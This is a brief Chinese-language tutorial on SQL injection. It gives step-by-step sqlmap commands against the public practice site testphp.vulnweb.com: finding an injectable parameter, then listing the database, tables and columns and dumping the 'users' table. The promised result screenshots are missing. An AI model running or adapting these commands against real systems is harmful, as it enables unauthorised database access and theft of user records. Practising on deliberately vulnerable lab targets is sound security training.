1、搭建Python 2.7.X 和SQLmap環境;
2、使用web掃描工具(如ZAP等)找到SQL的可能注入點:“http://testphp.vulnweb.com/artists.php?artist=1”;
3、使用sqlmap 獲取當前數據庫名稱
sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --current-db
4、使用sqlmap 列表名
sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --table -D acuart
運行結果如下:
5、使用sqlmap 列字段名稱
sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --columns -T users -D acuart -v 0
運行結果如下:
6、使用sqlmap 獲取字段內容
sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --dump -T users -D acuart -v 0
運行結果如下: